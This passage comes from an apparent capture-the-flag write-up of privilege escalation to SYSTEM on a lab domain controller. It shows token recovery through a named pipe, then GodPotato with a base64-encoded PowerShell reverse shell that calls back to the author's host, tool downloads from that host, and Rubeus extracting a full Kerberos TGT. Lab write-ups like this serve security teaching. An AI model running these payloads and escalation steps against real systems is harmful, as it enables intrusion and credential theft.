<div class="language-plaintext wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SeServiceLogonRight = *S-1-5-20,svc_sql,SQLServer2005SQLBrowserUser$DC02,*S-1-5-80-0,*S-1-5-80-2652535364-2169709536-2857650723-2622804123-1107741775,*S-1-5-80-344959196-2060754871-2302487193-2804545603-1466107430,*S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003
</code></pre></div></div>

<p>That is likely because it’s a cross domain reference. The fact that svc_sql has <code class="language-plaintext highlighter-rouge">SeServiceLogonRight</code> means that the account is able to do a service logon. My current shell is an interactive / network logon, which has stripped the <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code> from the process.</p>

<p>I’ll also check <code class="language-plaintext highlighter-rouge">systeminfo</code>:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">C:\Windows\system32&gt;</span><span class="w"> </span>systeminfo
<span class="go">
Host Name:                 DC02
OS Name:                   Microsoft Windows Server 2022 Datacenter
OS Version:                10.0.20348 N/A Build 20348
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00454-70295-72962-AA965
Original Install Date:     7/29/2025, 12:57:54 PM
System Boot Time:          3/29/2026, 1:56:58 AM
System Manufacturer:       Microsoft Corporation
System Model:              Virtual Machine
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version:              Microsoft Corporation Hyper-V UEFI Release v4.1, 11/21/2024
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC) Coordinated Universal Time
Total Physical Memory:     2,047 MB
Available Physical Memory: 922 MB
Virtual Memory: Max Size:  3,199 MB
Virtual Memory: Available: 1,835 MB
Virtual Memory: In Use:    1,364 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    darkzero.ext
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Microsoft Hyper-V Network Adapter
                                 Connection Name: Ethernet
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 172.16.20.2
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">Hotfix(s)</code> result is “N/A”, meaning no security patches have been applied to this host. This means it will be a good idea to check for escalation CVEs as well.</p>

<h3 id="multiple-escalation-paths">Multiple Escalation Paths</h3>

<p>There are multiple ways to escalate to SYSTEM on DC02. I’ll show four:</p>

<pre><code class="language-mermaid">flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] ---&gt;|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] ---&gt;|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Shell as svc_sql]--&gt;B(&lt;a href='#get-token'&gt;Steal Token with\nSeImpersonatePrivilege&lt;/a&gt;);
    B--&gt;C(&lt;a href='#god-potato'&gt;GodPotato&lt;/a&gt;);
    C--&gt;D(Shell as NT Authority/System);
    A--&gt;Tunnel(&lt;a href='#tunnel'&gt;Chisel Tunnel\nto DC02&lt;/a&gt;)
    Tunnel--&gt;E(&lt;a href='#get-nt-hash'&gt;ADCS Authenticate\n--&gt; NT Hash&lt;/a&gt;)
    E--&gt;F(&lt;a href='#change-password'&gt;Change Password&lt;/a&gt;)
    F--&gt;runascs(&lt;a href='#shell-with-full-token'&gt;Shell with\nFull Token&lt;/a&gt;)
    runascs--&gt;C;
    A--&gt;G(&lt;a href='#via-cve-2024-30088'&gt;CVE-2024-30088&lt;/a&gt;);
    G--&gt;D;
    Tunnel--&gt;dns(&lt;a href='#create-dns-record'&gt;Create CMTI\nDNS Record&lt;/a&gt;)
    dns--&gt;coerce(&lt;a href='#coerce'&gt;Coerce DC02$&lt;/a&gt;)
    coerce--&gt;relay(&lt;a href='#relay'&gt;Relay with\nRemoved MIC&lt;/a&gt;)
    relay--&gt;D

linkStyle default stroke-width:2px,stroke:#4B9CD3,fill:none;
linkStyle 0,4,5,6,7,8,9 stroke-width:2px,stroke:#FFFF99,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
</code></pre>

<h3 id="via-token-theft">via Token Theft</h3>

<h4 id="strategy">Strategy</h4>

<p>I’m going to do the same technique I showed in the <a href="/2026/02/07/htb-signed.html#via-seimpersonate-restoration">HTB: Signed</a> post. When the MSSQL service starts at boot, Windows authenticates the mssqlsvc account and creates a logon session. LSASS stores this initial token for use during network authentication. Service accounts are granted <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code> by default, and MSSQL legitimately uses impersonation to handle client connections under different security contexts. So it’s reasonable to assume the original token has this privilege. As I show <a href="#enumeration">above</a>, the shell as svc_sql doesn’t have <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code>, which means the service must be running with a restricted token as a hardening measure.</p>

<p>A post from Tyranid’s Lair titled <a href="https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html">Sharing a Logon Session a Little Too Much</a> from 2020 goes into detail on how to recover this original token by creating a named pipe. On connecting to the pipe, the SMB redirector (running in the kernel) performs authentication using the stored token rather than the current process. Impersonating the pipe client yields the original token.</p>

<h4 id="build-and-upload-module">Build and Upload Module</h4>

<p>I’ll build the module using the same steps I showed in Signed, using Linux PowerShell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>pwsh
<span class="go">PowerShell 7.5.4
</span><span class="gp">PS &gt;</span><span class="w"> </span>Install-Module <span class="nt">-Name</span> PSWSMan
<span class="go">Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want 
to install the modules from 'PSGallery'?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A
</span><span class="gp">PS &gt;</span><span class="w"> </span>Install-Module <span class="nt">-Name</span> NtObjectManager
<span class="go">Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want 
to install the modules from 'PSGallery'?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A
</span><span class="gp">PS &gt;</span><span class="w"> </span>Save-Module <span class="nt">-Name</span> NtObjectManager <span class="nt">-Path</span> /home/oxdf/
<span class="gp">PS &gt;</span><span class="w"> </span>Compress-Archive <span class="nt">-Path</span> /home/oxdf/NtObjectManager/<span class="k">*</span> <span class="nt">-DestinationPath</span> ./NtObjectManager.zip
</code></pre></div></div>

<p>I’ll host that zip archive with a Python webserver, upload it to DarkZero, unpack it, and import it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">wget</span><span class="w"> </span><span class="nx">http://10.10.14.61/NtObjectManager.zip</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">NtObjectManager.zip</span><span class="w">
</span><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">expand-archive</span><span class="w"> </span><span class="nx">NtObjectManager.zip</span><span class="w"> </span><span class="nt">-destinationpath</span><span class="w"> </span><span class="o">.</span><span class="w">
</span><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">cd</span><span class="w"> </span><span class="nx">2.0.1</span><span class="w"> 
</span><span class="gp">PS C:\programdata\2.0.1&gt;</span><span class="w"> </span><span class="n">ls</span><span class="w">
</span><span class="go">
    Directory: C:\programdata\2.0.1

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         3/11/2026  12:30 PM                en-US
-a----        11/15/2023   4:07 PM          66048 Be.Windows.Forms.HexBox.dll
-a----        11/15/2023   4:07 PM        3607552 EditSection.exe
-a----         11/8/2023   8:45 PM         199423 Formatters.ps1xml
-a----          1/7/2011   5:24 AM          22016 NDesk.Options.dll
-a----        11/15/2023   4:09 PM        3873280 NtObjectManager.dll
-a----        11/15/2023   4:09 PM        5894552 NtObjectManager.dll-Help.xml
-a----        11/15/2023   4:08 PM          19058 NtObjectManager.psd1
-a----        11/15/2023   4:09 PM         656277 NtObjectManager.psm1
-a----         3/11/2026  12:27 PM          89028 PSGetModuleInfo.xml
-a----        11/15/2023   4:07 PM        3806208 TokenViewer.exe
-a----        12/16/2022   5:22 PM            435 TypeExtensions.ps1xml
-a----        11/15/2023   4:07 PM        3569664 ViewSecurityDescriptor.exe
-a----        10/24/2018   8:52 AM         316392 WeifenLuo.WinFormsUI.Docking.dll
</span><span class="gp">PS C:\programdata\2.0.1&gt;</span><span class="w"> </span><span class="n">import-module</span><span class="w"> </span><span class="o">.</span><span class="nx">\NtObjectManager.psm1</span><span class="w">
</span></code></pre></div></div>

<h4 id="get-token">Get Token</h4>

<p>I’ll get a copy of the original token that is likely to have the <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code>:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="500"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata\2.0.1&gt; </span><span class="nv">$pipe</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-NtNamedPipeFile</span><span class="w"> </span><span class="nx">\\.\pipe\oxdf</span><span class="w"> </span><span class="nt">-Win32Path</span><span class="w">
</span><span class="gp">PS C:\programdata\2.0.1&gt; </span><span class="nv">$job</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Start-Job</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nv">$pipe</span><span class="o">.</span><span class="nf">Listen</span><span class="p">()</span><span class="w"> </span><span class="p">}</span><span class="w">
</span><span class="gp">PS C:\programdata\2.0.1&gt; </span><span class="nv">$job</span><span class="w">
</span><span class="go">
Id     Name            PSJobTypeName   State         HasMoreData     Location             Command
--     ----            -------------   -----         -----------     --------             -------
5      Job5            BackgroundJob   Running       True            localhost             $pipe.Listen()


</span><span class="gp">PS C:\programdata\2.0.1&gt; </span><span class="nv">$file</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-NtFile</span><span class="w"> </span><span class="nx">\\localhost\pipe\oxdf</span><span class="w"> </span><span class="nt">-Win32Path</span><span class="w">
</span><span class="gp">PS C:\programdata\2.0.1&gt; </span><span class="nv">$token</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Use-NtObject</span><span class="p">(</span><span class="nv">$pipe</span><span class="o">.</span><span class="nf">Impersonate</span><span class="p">())</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">Get-NtToken</span><span class="w"> </span><span class="nt">-Impersonation</span><span class="w"> </span><span class="p">}</span><span class="w">
</span><span class="gp">PS C:\programdata\2.0.1&gt; </span><span class="nv">$token</span><span class="w">
</span><span class="go">
User                            : darkzero-ext\svc_sql
Groups                          : {darkzero-ext\Domain Users, Everyone, BUILTIN\Users, BUILTIN\Pre-Windows 2000
                                  Compatible Access...}
EnabledGroups                   : {darkzero-ext\Domain Users, Everyone, BUILTIN\Users, BUILTIN\Pre-Windows 2000
                                  Compatible Access...}
DenyOnlyGroups                  : {}
GroupCount                      : 14
AuthenticationId                : 00000000-00029ABB
TokenType                       : Impersonation
ExpirationTime                  : 9223372036854775807
Id                              : 00000000-0047030D
ModifiedId                      : 00000000-004702E5
Owner                           : S-1-5-21-1969715525-31638512-2552845157-1103
PrimaryGroup                    : S-1-5-21-1969715525-31638512-2552845157-513
DefaultDacl                     : {Type Allowed - Flags None - Mask 10000000 - Sid
                                  S-1-5-21-1969715525-31638512-2552845157-1103, Type Allowed - Flags None - Mask
                                  10000000 - Sid S-1-5-18, Type Allowed - Flags None - Mask A0000000 - Sid
                                  S-1-5-5-0-170663}
Source                          : Identifier = 00000000-00029AA8 - Name = Advapi
RestrictedSids                  : {}
RestrictedSidsCount             : 0
ImpersonationLevel              : Impersonation
SessionId                       : 0
SandboxInert                    : False
Origin                          : 00000000-000003E7
ElevationType                   : Default
Elevated                        : True
HasRestrictions                 : False
UIAccess                        : False
VirtualizationAllowed           : False
VirtualizationEnabled           : False
Restricted                      : False
WriteRestricted                 : False
Filtered                        : False
NotLow                          : True
Flags                           : NotLow
NoChildProcess                  : False
Capabilities                    : {}
MandatoryPolicy                 : NoWriteUp, NewProcessMin
LogonSid                        : NT AUTHORITY\LogonSessionId_0_170663
IntegrityLevelSid               : Mandatory Label\High Mandatory Level
AppContainerNumber              : 0
IntegrityLevel                  : High
SecurityAttributes              : {}
DeviceClaimAttributes           : {}
UserClaimAttributes             : {}
RestrictedUserClaimAttributes   :
RestrictedDeviceClaimAttributes :
AppContainer                    : False
LowPrivilegeAppContainer        : False
AppContainerSid                 :
DeviceGroups                    : {}
RestrictedDeviceGroups          :
Privileges                      : {SeAssignPrimaryTokenPrivilege, SeIncreaseQuotaPrivilege, SeMachineAccountPrivilege,
                                  SeChangeNotifyPrivilege...}
FullPath                        : darkzero-ext\svc_sql - 00000000-00029ABB
TrustLevel                      :
IsPseudoToken                   : False
IsSandbox                       : False
PackageFullName                 :
AppId                           :
AppModelPolicyDictionary        : {}
BnoIsolationPrefix              :
PackageIdentity                 :
AuditPolicy                     :
PrivateNamespace                : False
ProcessUniqueAttribute          :
GrantedAccess                   : AssignPrimary, Duplicate, Impersonate, Query, QuerySource, AdjustPrivileges,
                                  AdjustGroups, AdjustDefault, AdjustSessionId, Delete, ReadControl, WriteDac,
                                  WriteOwner
GrantedAccessGeneric            : GenericAll
GrantedAccessMask               : 983551
SecurityDescriptor              : O:S-1-5-21-1969715525-31638512-2552845157-1103G:DUD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;
                                  S-1-5-21-1969715525-31638512-2552845157-1103)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-2
                                  1-1969715525-31638512-2552845157-1103)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCS
                                  WRPWPDTLOCRSDRCWDWO;;;SY)S:AI(ML;;NW;;;HI)
Sddl                            : O:S-1-5-21-1969715525-31638512-2552845157-1103G:DUD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;
                                  S-1-5-21-1969715525-31638512-2552845157-1103)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-2
                                  1-1969715525-31638512-2552845157-1103)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCS
                                  WRPWPDTLOCRSDRCWDWO;;;SY)S:AI(ML;;NW;;;HI)
Handle                          : 0xA54
NtTypeName                      : Token
NtType                          : Name = Token - Index = 5
Name                            : svc_sql - 00000000-00029ABB
CanSynchronize                  : False
CreationTime                    : 1/1/1601 12:00:00 AM
AttributesFlags                 : None
HandleReferenceCount            : 1
PointerReferenceCount           : 32694
Inherit                         : False
ProtectFromClose                : False
Address                         : 0
IsContainer                     : False
IsClosed                        : False
ObjectName                      : darkzero-ext\svc_sql - 00000000-00029ABB
</span></code></pre></div></div>

<p>That dumps a lot of information about the token that isn’t really important. What does matter is that the token has <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata\2.0.1&gt;</span><span class="w"> </span><span class="nv">$token</span><span class="o">.</span><span class="nf">privileges</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ft</span><span class="w"> </span><span class="nx">Name</span><span class="p">,</span><span class="w"> </span><span class="nx">Attributes</span><span class="p">,</span><span class="w"> </span><span class="nx">DisplayName</span><span class="w">
</span><span class="go">
Name                                         Attributes DisplayName
----                                         ---------- -----------
SeAssignPrimaryTokenPrivilege                   Enabled Replace a process level token
SeIncreaseQuotaPrivilege                        Enabled Adjust memory quotas for a process
SeMachineAccountPrivilege                       Enabled Add workstations to domain
SeChangeNotifyPrivilege       EnabledByDefault, Enabled Bypass traverse checking
SeImpersonatePrivilege        EnabledByDefault, Enabled Impersonate a client after authentication
SeCreateGlobalPrivilege       EnabledByDefault, Enabled Create global objects
SeIncreaseWorkingSetPrivilege                   Enabled Increase a process working set
</span></code></pre></div></div>

<p>I can verify that by starting a new process using the token:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\&gt;</span><span class="w">  </span><span class="n">New-Win32Process</span><span class="w"> </span><span class="nt">-Commandline</span><span class="w"> </span><span class="s1">'cmd.exe /c whoami /priv 2&gt;&amp;1 &gt; /programdata/output.txt'</span><span class="w"> </span><span class="nt">-token</span><span class="w"> </span><span class="nv">$token</span><span class="w">
</span><span class="go">
Process            : cmd.exe
Thread             : thread:2404 - process:1844
Pid                : 1844
Tid                : 2404
TerminateOnDispose : False
ExitStatus         : 0
ExitNtStatus       : STATUS_SUCCESS

</span><span class="gp">PS C:\&gt;</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="nx">programdata\output.txt</span><span class="w">
</span><span class="go">
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeMachineAccountPrivilege     Add workstations to domain                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled
</span></code></pre></div></div>

<h4 id="god-potato">God Potato</h4>

<p>I’ll grab a copy of <a href="https://github.com/BeichenDream/GodPotato">GodPotato</a> from the release page and upload it to DarkZero, along with a reverse shell from <a href="https://www.revshells.com/">revshells.com</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">wget</span><span class="w"> </span><span class="nx">10.10.14.61/GodPotato-NET4.exe</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">gp.exe</span><span class="w">
</span><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">wget</span><span class="w"> </span><span class="nx">10.10.14.61/shell.ps1</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">shell.ps1</span><span class="w">
</span><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="nx">shell.ps1</span><span class="w">
</span><span class="go">powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAxACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
</span></code></pre></div></div>

<p>I’ve found that having the reverse shell in a <code class="language-plaintext highlighter-rouge">.ps1</code> file makes running GodPotato more reliable. I’ll run it using the token to create the process:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\&gt;</span><span class="w"> </span><span class="n">New-Win32Process</span><span class="w"> </span><span class="nt">-Commandline</span><span class="w"> </span><span class="s1">'C:\programdata\gp.exe -cmd "powershell C:\programdata\shell.ps1 2&gt;&amp;1"'</span><span class="w"> </span><span class="nt">-token</span><span class="w"> </span><span class="nv">$token</span><span class="w">
</span><span class="go">
Process            : gp.exe
Thread             : thread:3264 - process:2760
Pid                : 2760
Tid                : 3264
TerminateOnDispose : False
ExitStatus         : 259
ExitNtStatus       : STATUS_PENDING
</span></code></pre></div></div>

<p>At my <code class="language-plaintext highlighter-rouge">nc</code> (after a few seconds):</p>

<div class="language-console rlwrap-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>rlwrap <span class="nt">-cAr</span> nc <span class="nt">-lnvp</span> 444
<span class="go">Listening on 0.0.0.0 444
Connection received on 10.129.5.34 62831

</span><span class="gp">PS C:\Windows\system32&gt;</span><span class="w"> </span><span class="nb">whoami</span>
<span class="go">nt authority\system
</span></code></pre></div></div>

<p>And I can read <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\users\administrator\desktop&gt;</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="nx">user.txt</span><span class="w">
</span><span class="go">9f4d14a2************************
</span></code></pre></div></div>

<h3 id="via-adcs--runascs">via ADCS / RunAsCs</h3>

<h4 id="strategy-1">Strategy</h4>

<p>The intended path is to get access to a fully privileged token like the method above, but by a less elegant path. I’ll get an unrestricted service token by starting a process as svc_sql with <code class="language-plaintext highlighter-rouge">LOGON32_LOGON_SERVICE</code> (as the <code class="language-plaintext highlighter-rouge">Policy_Backup.inf</code> showed is allowed). I can do this with <code class="language-plaintext highlighter-rouge">RunAsCS.exe</code>.</p>

<p>To do that with <code class="language-plaintext highlighter-rouge">RunAsCs.exe</code>, I’ll need to know the account password. I’ll use <code class="language-plaintext highlighter-rouge">Rubeus.exe</code> to get a TGT as svc_sql. This TGT won’t work to change the password directly, but I can use <a href="https://github.com/jpillora/chisel">Chisel</a> to create a proxy to DC02, use that TGT to get the NT hash through ADCS, and use that to change the password.</p>

<h4 id="get-tgt">Get TGT</h4>

<p>I’ll grab a copy of Rubeus from <a href="https://github.com/Flangvik/SharpCollection">SharpCollection</a>, upload it to DC02, and get a TGT:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">curl</span><span class="w"> </span><span class="nx">http://10.10.14.61/Rubeus.exe</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">rubeus.exe</span><span class="w">
</span><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\rubeus.exe</span><span class="w"> </span><span class="nx">tgtdeleg</span><span class="w"> </span><span class="nx">/nowrap</span><span class="w">
</span><span class="go">
   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3 


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC02.darkzero.ext'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: uqzBa91XHHJWGnNyZv0Z4eGrqhQJG64uuuwWf0si7fk=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFgDCCBXygAwIBBaEDAgEWooIEhjCCBIJhggR+MIIEeqADAgEFoQ4bDERBUktaRVJPLkVYVKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMREFSS1pFUk8uRVhUo4IEPjCCBDqgAwIBEqEDAgECooIELASCBCiLZe6eocJ3vNsNxfQIypweP8Duishm4lAX3tfdOjkYheVKmz5xM03/ZGwTVixZ+cDfRpaWtsk9TM3lGlzu4gF9rfHxnEMgtXLlYa/67euJ5c650ASw2I4P4COybBdwsnv/dVDyMwgdZT8usC8YWKYlh5kftTJ42SFDSwK/+xhoVsdfC3kg0Q/aazrPh7S2j/kKm5VcO7ibD0Ed9TlTse1Ak2hGxsF8OuL1b4yyhE7LGKrxiiAev4YLBL118MZYEojNfgyVFvW17eABCxwtQexwBRGlu0VKA98n8z9dz/1+LqkJHADu7PgpN9T3p1XV+BP/SMvjhhNwwynAQTngGSJBDchjpGjPpaeCrt7lt8g3YhiFlk0ghd7NpHUn6w+Hg+wcx5X18BfJBHrGkoMNntHEyZFbIEDrxIvGDGBFSIxDxqd/pMjtLrmZnrjs2xQnSqZUAgg3s1rb9RHSdxcFoVjGrIdRfcaOMkIFk1Ct4agKeVgqUzSdXGjvdehxaGKzMDRGyTic+mfqIT7+cjvfXfhPTccyejTzwE8plMTLRaTr4aYWrZYWevRmLKVVmN1RyNAXUbd71bbvLk7bjmezyvLCrKDBtDmeqbMkf2S7Z6amERV7QPmvTaVrZz5xD3ECXY+rR0/b36G89DMKGm0St/L5X2ySTD3rL7jl8LTlGKsOGaFTAFjQRhluZivpBvoeNybG/++l5Xw+MelRuZRPyr3zNvKGG3fh3Cgo9Tyq6m1uA82JWLnMWl3yqLVPkhthARSvYlWqPJBx2qq0qb/zWg0NPDAVu0LehQZTtC8oPT5mv8vWMddDCiPmwVTjPCupalhc2QKxN91gTpBabP9kPmhkMOmEszoWWEAaPOaWDSP6nnTp7U40qJk0Wvlh9L3YuzrerbqZryn9+E/cqU7WozwZakjND2mgggIrCmMMYlPJW+XJwb156TJDcBzZJW3VVTIfUanDUp/FLRC9MJ0Pecc2XMIihzb5Kg5nQat2WjFkWm49Fv1yuUnpM7ojzA7ySW86DDkZq7JnMzGwr83R25Hj6uLJUUACHb3/UvXD4SbF0YLcCK1caivPBvor2Wnje9277khWRTQY6iAe7S9kEgXTBYP/smumN9ObCoVl/D1UhUdHCpC0BoAFuNuZ3uQOqJdNAsD5DMH8VJXNQ8zOAiWUeCm3G8eRGzvgYMk6cWpEY1GyO7VxbglQVBj+dzAhelx+8OcMSYtF2h7UYMqekRj3XAzPX1K5XE8j1/Xc9WH7uuXkUpsoebmvzJu5iPB1uwzmRdOlKBFzC4AAUadN4hZmhVOzFmfgghAtvOZ/vejMg6KPii3vSH84f96K2/1heO0yKMpCZvmNbOzZ14FIqQjRDp7VxIYyIkLCaO4jFPK2739psUNHQxO2TDrCwcMQw7p9R2KqFZxZtqOB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEICYIk3zSjTftEg7R+uLf8kasuIkty8pcjRX5WcpXJ3jAoQ4bDERBUktaRVJPLkVYVKIUMBKgAwIBAaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyNjAzMjkwMDU3MDBaphEYDzIwMjYwMzI5MTA0MTQwWqcRGA8yMDI2MDQwNTAwNDE0MFqoDhsMREFSS1pFUk8uRVhUqSEwH6ADAgECoRgwFhsGa3JidGd0GwxEQVJLWkVSTy5FWFQ=
</span></code></pre></div></div>

<p>I’ll bring that back to my host and convert it to ccache format:</p>

